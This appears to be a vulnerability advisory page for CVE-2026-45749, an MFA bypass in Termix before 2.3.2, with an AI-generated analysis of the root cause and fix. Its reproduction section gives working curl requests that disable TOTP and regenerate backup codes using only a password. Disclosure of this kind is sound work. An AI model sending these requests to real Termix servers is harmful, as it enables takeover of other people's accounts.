CVE-2026-45749
Description
Termix versions prior to 2.3.2 allow disabling MFA or regenerating backup codes using only a user's password, bypassing two-factor authentication.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Termix versions prior to 2.3.2 allow disabling MFA or regenerating backup codes using only a user's password, bypassing two-factor authentication.
Vulnerability
Termix, a web-based server management platform, contains a vulnerability in its POST /users/totp/disable and POST /users/totp/backup-codes endpoints. Versions prior to 2.3.2 incorrectly accept the account password as the sole authentication factor for these multi-factor authentication (MFA) critical operations. The vulnerability resides in src/backend/database/routes/users.ts [1].
Exploitation
An attacker who has obtained a user's password, through methods such as phishing or credential stuffing, can exploit this vulnerability. The attacker needs only the user's password and network access to the Termix platform. By sending a POST request to either the /users/totp/disable or /users/totp/backup-codes endpoint with the user's password, the attacker can proceed without needing the user's TOTP device or a valid TOTP code [1].
Impact
Successful exploitation allows an attacker to completely disable Two-Factor Authentication (2FA) for a user or regenerate their backup codes, thereby invalidating previous codes. This effectively renders the MFA protection useless, granting the attacker the same access and privileges as the compromised user without requiring the second factor of authentication [1].
Mitigation
Termix version 2.3.2 addresses this vulnerability. Users are strongly advised to update to version 2.3.2 or later. No workarounds are specified, and the vulnerability is not listed as being part of the Known Exploited Vulnerabilities (KEV) catalog at this time [2].
AI Insight generated on Jun 5, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2(expand)+ 1 more
- (no CPE)
- (no CPE)range: <2.3.2
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The `POST /users/totp/disable` and `POST /users/totp/backup-codes` endpoints incorrectly accept only the user's password as sufficient authentication for critical MFA operations."
Attack vector
An attacker who obtains a user's password can exploit this vulnerability. The attacker sends a POST request to either the `/users/totp/disable` or `/users/totp/backup-codes` endpoint, providing only the victim's password in the request body. This bypasses the need for a valid TOTP code or possession of the TOTP device, allowing the attacker to disable two-factor authentication or regenerate backup codes. [ref_id=1]
Affected code
The vulnerability resides in the `src/backend/database/routes/users.ts` file, specifically within the `POST /users/totp/disable` (lines 3076–3133) and `POST /users/totp/backup-codes` (lines 3167–3219) route handlers. These sections contain logic that accepts a password as a sole authentication factor for disabling TOTP or regenerating backup codes. [ref_id=1]
What the fix does
Version 2.3.2 modifies the authentication logic for sensitive endpoints. Previously, the application would accept either a password or a TOTP code. The fix enforces that both a password and a valid TOTP code must be provided when TOTP is enabled to disable it or regenerate backup codes. This ensures that an attacker cannot bypass MFA using only the compromised password. [ref_id=1]
Preconditions
- authThe attacker must know the victim user's password. [ref_id=1]
- configThe victim user must have TOTP two-factor authentication enabled. [ref_id=1]
Reproduction
# Attack 1: Disable TOTP with password only ```bash # Confirm TOTP is currently enabled curl -s -b cookies.txt http://<TERMIX_HOST>:30001/users/me # {"userId":"...","username":"victim_mfa","totp_enabled":true}
# Disable TOTP — only the password, no TOTP code curl -s -b cookies.txt -X POST http://<TERMIX_HOST>:30001/users/totp/disable \ -H "Content-Type: application/json" \ -d '{"password":"V1ctim!Secure"}' # {"message":"TOTP disabled successfully"}
# Confirm TOTP is now disabled curl -s -b cookies.txt http://<TERMIX_HOST>:30001/users/me # {"userId":"...","username":"victim_mfa","totp_enabled":false}
# Login again — no TOTP prompt, full access curl -s -X POST http://<TERMIX_HOST>:30001/users/login \ -H "Content-Type: application/json" \ -d '{"username":"victim_mfa","password":"V1ctim!Secure"}' # {"success":true,"is_admin":false,"username":"victim_mfa"} ```
# Attack 2: Regenerate backup codes with password only ```bash # With a valid session and TOTP enabled: curl -s -b cookies.txt -X POST http://<TERMIX_HOST>:30001/users/totp/backup-codes \ -H "Content-Type: application/json" \ -d '{"password":"V1ctim!Secure"}' # {"backup_codes":["65S6YXGA","K79NBYYZ","NPWPLBVI",...]}} ``` [ref_id=1]
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
1- Termix SSH Platform: Seven Critical and High Vulnerabilities Disclosed TogetherVypr Intelligence · Jun 5, 2026